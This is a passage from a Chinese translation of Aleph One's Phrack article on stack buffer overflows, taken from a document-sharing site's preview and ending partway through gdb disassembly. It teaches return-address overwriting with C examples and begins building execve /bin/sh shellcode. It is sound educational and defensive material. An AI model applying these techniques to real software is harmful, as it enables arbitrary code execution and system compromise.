缓冲区溢出的原理和实践.docx

上传人:b****1 文档编号:2014863 上传时间:2023-05-02 格式:DOCX 页数:108 大小:56.56KB
下载 相关 举报
缓冲区溢出的原理和实践.docx_第1页
第1页 / 共108页
缓冲区溢出的原理和实践.docx_第2页
第2页 / 共108页
缓冲区溢出的原理和实践.docx_第3页
第3页 / 共108页
缓冲区溢出的原理和实践.docx_第4页
第4页 / 共108页
缓冲区溢出的原理和实践.docx_第5页
第5页 / 共108页
缓冲区溢出的原理和实践.docx_第6页
第6页 / 共108页
缓冲区溢出的原理和实践.docx_第7页
第7页 / 共108页
缓冲区溢出的原理和实践.docx_第8页
第8页 / 共108页
缓冲区溢出的原理和实践.docx_第9页
第9页 / 共108页
缓冲区溢出的原理和实践.docx_第10页
第10页 / 共108页
缓冲区溢出的原理和实践.docx_第11页
第11页 / 共108页
缓冲区溢出的原理和实践.docx_第12页
第12页 / 共108页
缓冲区溢出的原理和实践.docx_第13页
第13页 / 共108页
缓冲区溢出的原理和实践.docx_第14页
第14页 / 共108页
缓冲区溢出的原理和实践.docx_第15页
第15页 / 共108页
缓冲区溢出的原理和实践.docx_第16页
第16页 / 共108页
缓冲区溢出的原理和实践.docx_第17页
第17页 / 共108页
缓冲区溢出的原理和实践.docx_第18页
第18页 / 共108页
缓冲区溢出的原理和实践.docx_第19页
第19页 / 共108页
缓冲区溢出的原理和实践.docx_第20页
第20页 / 共108页
亲,该文档总共108页,到这儿已超出免费预览范围,如果喜欢就下载吧!
下载资源
资源描述

缓冲区溢出的原理和实践.docx

《缓冲区溢出的原理和实践.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出的原理和实践.docx(108页珍藏版)》请在冰点文库上搜索。

缓冲区溢出的原理和实践.docx

缓冲区溢出的原理和实践

标题:

缓冲区溢出的原理和实践(Phrack)

作者:

Sinbad

.oOPhrack49Oo.

VolumeSeven,IssueForty-Nine

File14of16

BugTraq,r00t,andUnderground.Org

bringyou

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

SmashingTheStackForFunAndProfit

以娱乐和牟利为目的践踏堆栈

(缓冲区溢出的原理和实践)

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

原作byAlephOne

aleph1@underground.org

翻译xuzq@

'践踏堆栈'[C语言编程]n.在许多C语言的实现中,有可能通过写入例程

中所声明的数组的结尾部分来破坏可执行的堆栈.所谓'践踏堆栈'使用的

代码可以造成例程的返回异常,从而跳到任意的地址.这导致了一些极为

险恶的数据相关漏洞(已人所共知).其变种包括堆栈垃圾化(trashthe

stack),堆栈乱写(scribblethestack),堆栈毁坏(manglethestack);

术语mungthestack并不使用,因为这从来不是故意造成的.参阅spam?

也请参阅同名的漏洞,胡闹内核(fandangooncore),内存泄露(memory

leak),优先权丢失(precedencelossage),螺纹滑扣(overrunscrew).

简介

~~~~~~~

在过去的几个月中,被发现和利用的缓冲区溢出漏洞呈现上升趋势.例如syslog,

splitvt,sendmail8.7.5,Linux/FreeBSDmount,Xtlibrary,at等等.本文试图

解释什么是缓冲区溢出,以及如何利用.

汇编的基础知识是必需的.对虚拟内存的概念,以及使用gdb的经验是十分有益

的,但不是必需的.我们还假定使用Intelx86CPU,操作系统是Linux.

在开始之前我们给出几个基本的定义:

缓冲区,简单说来是一块连续的计算机内

存区域,可以保存相同数据类型的多个实例.C程序员通常和字缓冲区数组打交道.

最常见的是字符数组.数组,与C语言中所有的变量一样,可以被声明为静态或动态

的.静态变量在程序加载时定位于数据段.动态变量在程序运行时定位于堆栈之中.

溢出,说白了就是灌满,使内容物超过顶端,边缘,或边界.我们这里只关心动态

缓冲区的溢出问题,即基于堆栈的缓冲区溢出.

进程的内存组织形式

~~~~~~~~~~~~~~~~~~~~

为了理解什么是堆栈缓冲区,我们必须首先理解一个进程是以什么组织形式在

内存中存在的.进程被分成三个区域:

文本,数据和堆栈.我们把精力集中在堆栈

区域,但首先按照顺序简单介绍一下其他区域.

文本区域是由程序确定的,包括代码(指令)和只读数据.该区域相当于可执行

文件的文本段.这个区域通常被标记为只读,任何对其写入的操作都会导致段错误

(segmentationviolation).

数据区域包含了已初始化和未初始化的数据.静态变量储存在这个区域中.数

据区域对应可执行文件中的data-bss段.它的大小可以用系统调用brk

(2)来改变.

如果bss数据的扩展或用户堆栈把可用内存消耗光了,进程就会被阻塞住,等待有了

一块更大的内存空间之后再运行.新内存加入到数据和堆栈段的中间.

/------------------\内存低地址

||

|文本|

||

|------------------|

|(已初始化)|

|数据|

|(未初始化)|

|------------------|

||

|堆栈|

||

\------------------/内存高地址

Fig.1进程内存区域

什么是堆栈?

~~~~~~~~~~~~~

堆栈是一个在计算机科学中经常使用的抽象数据类型.堆栈中的物体具有一个特性:

最后一个放入堆栈中的物体总是被最先拿出来,这个特性通常称为后进先处(LIFO)队列.

堆栈中定义了一些操作.两个最重要的是PUSH和POP.PUSH操作在堆栈的顶部加入一

个元素.POP操作相反,在堆栈顶部移去一个元素,并将堆栈的大小减一.

为什么使用堆栈?

~~~~~~~~~~~~~~~~

现代计算机被设计成能够理解人们头脑中的高级语言.在使用高级语言构造程序时

最重要的技术是过程(procedure)和函数(function).从这一点来看,一个过程调用可

以象跳转(jump)命令那样改变程序的控制流程,但是与跳转不同的是,当工作完成时,

函数把控制权返回给调用之后的语句或指令.这种高级抽象实现起来要靠堆栈的帮助.

堆栈也用于给函数中使用的局部变量动态分配空间,同样给函数传递参数和函数返

回值也要用到堆栈.

堆栈区域

~~~~~~~~~~

堆栈是一块保存数据的连续内存.一个名为堆栈指针(SP)的寄存器指向堆栈的顶部.

堆栈的底部在一个固定的地址.堆栈的大小在运行时由内核动态地调整.CPU实现指令

PUSH和POP,向堆栈中添加元素和从中移去元素.

堆栈由逻辑堆栈帧组成.当调用函数时逻辑堆栈帧被压入栈中,当函数返回时逻辑

堆栈帧被从栈中弹出.堆栈帧包括函数的参数,函数地局部变量,以及恢复前一个堆栈

帧所需要的数据,其中包括在函数调用时指令指针(IP)的值.

堆栈既可以向下增长(向内存低地址)也可以向上增长,这依赖于具体的实现.在我

们的例子中,堆栈是向下增长的.这是很多计算机的实现方式,包括Intel,Motorola,

SPARC和MIPS处理器.堆栈指针(SP)也是依赖于具体实现的.它可以指向堆栈的最后地址,

或者指向堆栈之后的下一个空闲可用地址.在我们的讨论当中,SP指向堆栈的最后地址.

除了堆栈指针(SP指向堆栈顶部的的低地址)之外,为了使用方便还有指向帧内固定

地址的指针叫做帧指针(FP).有些文章把它叫做局部基指针(LB-localbasepointer).

从理论上来说,局部变量可以用SP加偏移量来引用.然而,当有字被压栈和出栈后,这

些偏移量就变了.尽管在某些情况下编译器能够跟踪栈中的字操作,由此可以修正偏移

量,但是在某些情况下不能.而且在所有情况下,要引入可观的管理开销.而且在有些

机器上,比如Intel处理器,由SP加偏移量访问一个变量需要多条指令才能实现.

因此,许多编译器使用第二个寄存器,FP,对于局部变量和函数参数都可以引用,

因为它们到FP的距离不会受到PUSH和POP操作的影响.在IntelCPU中,BP(EBP)用于这

个目的.在MotorolaCPU中,除了A7(堆栈指针SP)之外的任何地址寄存器都可以做FP.

考虑到我们堆栈的增长方向,从FP的位置开始计算,函数参数的偏移量是正值,而局部

变量的偏移量是负值.

当一个例程被调用时所必须做的第一件事是保存前一个FP(这样当例程退出时就可以

恢复).然后它把SP复制到FP,创建新的FP,把SP向前移动为局部变量保留空间.这称为

例程的序幕(prolog)工作.当例程退出时,堆栈必须被清除干净,这称为例程的收尾

(epilog)工作.Intel的ENTER和LEAVE指令,Motorola的LINK和UNLINK指令,都可以用于

有效地序幕和收尾工作.

下面我们用一个简单的例子来展示堆栈的模样:

example1.c:

------------------------------------------------------------------------------

voidfunction(inta,intb,intc){

charbuffer1[5];

charbuffer2[10];

}

voidmain(){

function(1,2,3);

}

------------------------------------------------------------------------------

为了理解程序在调用function()时都做了哪些事情,我们使用gcc的-S选项编译,以产

生汇编代码输出:

$gcc-S-oexample1.sexample1.c

通过查看汇编语言输出,我们看到对function()的调用被翻译成:

pushl$3

pushl$2

pushl$1

callfunction

以从后往前的顺序将function的三个参数压入栈中,然后调用function().指令call

会把指令指针(IP)也压入栈中.我们把这被保存的IP称为返回地址(RET).在函数中所做

的第一件事情是例程的序幕工作:

pushl%ebp

movl%esp,%ebp

subl$20,%esp

将帧指针EBP压入栈中.然后把当前的SP复制到EBP,使其成为新的帧指针.我们把这

个被保存的FP叫做SFP.接下来将SP的值减小,为局部变量保留空间.

我们必须牢记:

内存只能以字为单位寻址.在这里一个字是4个字节,32位.因此5字节

的缓冲区会占用8个字节(2个字)的内存空间,而10个字节的缓冲区会占用12个字节(3个字)

的内存空间.这就是为什么SP要减掉20的原因.这样我们就可以想象function()被调用时

堆栈的模样(每个空格代表一个字节):

内存低地址内存高地址

buffer2buffer1sfpretabc

<------[][][][][][][]

堆栈顶部堆栈底部

缓冲区溢出

~~~~~~~~~~~~

缓冲区溢出是向一个缓冲区填充超过它处理能力的数据所造成的结果.如何利用这个

经常出现的编程错误来执行任意代码呢?

让我们来看看另一个例子:

example2.c

------------------------------------------------------------------------------

voidfunction(char*str){

charbuffer[16];

strcpy(buffer,str);

}

voidmain(){

charlarge_string[256];

inti;

for(i=0;i<255;i++)

large_string[i]='A';

function(large_string);

}

------------------------------------------------------------------------------

这个程序的函数含有一个典型的内存缓冲区编码错误.该函数没有进行边界检查就复

制提供的字符串,错误地使用了strcpy()而没有使用strncpy().如果你运行这个程序就

会产生段错误.让我们看看在调用函数时堆栈的模样:

内存低地址内存高地址

buffersfpret*str

<------[][][][]

堆栈顶部堆栈底部

这里发生了什么事?

为什么我们得到一个段错误?

答案很简单:

strcpy()将*str的

内容(larger_string[])复制到buffer[]里,直到在字符串中碰到一个空字符.显然,

buffer[]比*str小很多.buffer[]只有16个字节长,而我们却试图向里面填入256个字节

的内容.这意味着在buffer之后,堆栈中250个字节全被覆盖.包括SFP,RET,甚至*str!

我们已经把large_string全都填成了A.A的十六进制值为0x41.这意味着现在的返回地

址是0x41414141.这已经在进程的地址空间之外了.当函数返回时,程序试图读取返回

地址的下一个指令,此时我们就得到一个段错误.

因此缓冲区溢出允许我们更改函数的返回地址.这样我们就可以改变程序的执行流程.

现在回到第一个例子,回忆当时堆栈的模样:

内存低地址内存高地址

buffer2buffer1sfpretabc

<------[][][][][][][]

堆栈顶部堆栈底部

现在试着修改我们第一个例子,让它可以覆盖返回地址,而且使它可以执行任意代码.

堆栈中在buffer1[]之前的是SFP,SFP之前是返回地址.ret从buffer1[]的结尾算起是4个

字节.应该记住的是buffer1[]实际上是2个字即8个字节长.因此返回地址从buffer1[]的开

头算起是12个字节.我们会使用这种方法修改返回地址,跳过函数调用后面的赋值语句

'x=1;',为了做到这一点我们把返回地址加上8个字节.代码看起来是这样的:

example3.c:

------------------------------------------------------------------------------

voidfunction(inta,intb,intc){

charbuffer1[5];

charbuffer2[10];

int*ret;

ret=buffer1+12;

(*ret)+=8;

}

voidmain(){

intx;

x=0;

function(1,2,3);

x=1;

printf("%d\n",x);

}

------------------------------------------------------------------------------

我们把buffer1[]的地址加上12,所得的新地址是返回地址储存的地方.我们想跳过

赋值语句而直接执行printf调用.如何知道应该给返回地址加8个字节呢?

我们先前使用

过一个试验值(比如1),编译该程序,祭出工具gdb:

------------------------------------------------------------------------------

[aleph1]$gdbexample3

GDBisfreesoftwareandyouarewelcometodistributecopiesofit

undercertainconditions;type"showcopying"toseetheconditions.

ThereisabsolutelynowarrantyforGDB;type"showwarranty"fordetails.

GDB4.15(i586-unknown-linux),Copyright1995FreeSoftwareFoundation,Inc...

(nodebuggingsymbolsfound)...

(gdb)disassemblemain

Dumpofassemblercodeforfunctionmain:

0x8000490

:

pushl%ebp

0x8000491:

movl%esp,%ebp

0x8000493:

subl$0x4,%esp

0x8000496:

movl$0x0,0xfffffffc(%ebp)

0x800049d:

pushl$0x3

0x800049f:

pushl$0x2

0x80004a1:

pushl$0x1

0x80004a3:

call0x8000470

0x80004a8:

addl$0xc,%esp

0x80004ab:

movl$0x1,0xfffffffc(%ebp)

0x80004b2:

movl0xfffffffc(%ebp),%eax

0x80004b5:

pushl%eax

0x80004b6:

pushl$0x80004f8

0x80004bb:

call0x8000378

0x80004c0:

addl$0x8,%esp

0x80004c3:

movl%ebp,%esp

0x80004c5:

popl%ebp

0x80004c6:

ret

0x80004c7:

nop

------------------------------------------------------------------------------

我们看到当调用function()时,RET会是0x8004a8,我们希望跳过在0x80004ab的赋值

指令.下一个想要执行的指令在0x8004b2.简单的计算告诉我们两个指令的距离为8字节.

ShellCode

~~~~~~~~~~

现在我们可以修改返回地址即可以改变程序执行的流程,我们想要执行什么程序呢?

在大多数情况下我们只是希望程序派生出一个shell.从这个shell中,可以执行任何我

们所希望的命令.但是如果我们试图破解的程序里并没有这样的代码可怎么办呢?

我们

怎么样才能将任意指令放到程序的地址空间中去呢?

答案就是把想要执行的代码放到我

们想使其溢出的缓冲区里,并且覆盖函数的返回地址,使其指向这个缓冲区.假定堆栈

的起始地址为0xFF,S代表我们想要执行的代码,堆栈看起来应该是这样:

内存低DDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFF内存高

地址89ABCDEF0123456789ABCDEF0123456789ABCDEF地址

buffersfpretabc

<------[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]

^|

|____________________________|

堆栈顶部堆栈底部

派生出一个shell的C语言代码是这样的:

shellcode.c

-----------------------------------------------------------------------------

#include

voidmain(){

char*name[2];

name[0]="/bin/sh";

name[1]=NULL;

execve(name[0],name,NULL);

}

------------------------------------------------------------------------------

为了查明这程序变成汇编后是个什么样子,我们编译它,然后祭出调试工具gdb.记住

在编译的时候要使用-static标志,否则系统调用execve的真实代码就不会包括在汇编中,

取而代之的是对动态C语言库的一个引用,真正的代码要到程序加载的时候才会联入.

------------------------------------------------------------------------------

[aleph1]$gcc-oshellcode-ggdb-staticshellcode.c

[aleph1]$gdbshellcode

GDBisfreesoftwareandyouarewelcometodistributecopiesofit

undercertainconditions;type"showcopying"toseetheconditions.

ThereisabsolutelynowarrantyforGDB;type"showwarranty"fordetails.

GDB4.15(i586-unknown-linux),Copyright1995FreeSoftwareFoundation,Inc...

(gdb)disassemblemain

Dumpofassemblercodeforfunctionmain:

0x8000130

:

pushl%ebp

0x8000131:

movl%esp,%ebp

0x8000133:

subl$0x8,%esp

0x8000136:

movl$0x80027b8,0xfffffff8(%ebp)

0x800013d:

movl$0x0,0xfffffffc(%ebp)

0x8000144:

pushl$0x0

0x8000146:

leal0xfffffff8(%ebp),%eax

0x8000149:

pushl%eax

0x800014a:

movl0xfffffff8(%ebp),%eax

0x800014d:

pushl%eax

0x800014e:

call0x80002bc<__execve>

0x8000153:

addl$0xc,%esp

0x8000156:

movl%ebp,%esp

0x8000158:

popl%ebp

0x8000159:

ret

Endofassemblerdump.

(gdb)disassemble__execve

Dumpofassemblercodeforfunction__execve:

0x80002bc<__execve>:

pushl%ebp

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 小学教育 > 语文

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2